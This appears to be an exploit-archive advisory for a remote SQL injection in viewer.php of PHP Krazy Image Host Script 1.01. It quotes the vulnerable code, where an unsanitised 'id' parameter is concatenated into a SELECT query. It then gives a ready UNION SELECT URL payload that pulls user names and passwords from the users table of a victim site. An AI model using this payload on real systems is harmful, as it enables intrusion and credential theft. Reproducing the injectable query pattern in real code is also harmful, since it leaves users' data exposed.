PHP Krazy Image Host Script version 1.01 suffers from a remote SQL injection vulnerability in viewer.php.
68827498d8b9331f4ba810bbec89a9ad06716e07b2c8eb264c3d6c0df7b60775
#########################################################################################
[0x01] Informations:
Name : PHP Krazy Image Host Script 1.01
Download : https://www.hotscripts.com/listings/jump/download/66961/
Vulnerability : Sql Injection
Author : x0r
Contact : andry2000@hotmail.it
Notes : Proud to be Italian
#########################################################################################
[0x02] Bug:
Bugged file is /[path]/viewer.php
[Code]
$id = $_GET['id']; [...]
$query="SELECT * FROM images WHERE id=" . $id;
$result = mysql_query($query);
[/code]
#########################################################################################
[0x03] Exploit:
Exploit: https://victim.it/viewer.php?id=-1 union select
0,0,0,concat(id,char(45),user,char(45),password),0,0, from users--
########################################################################################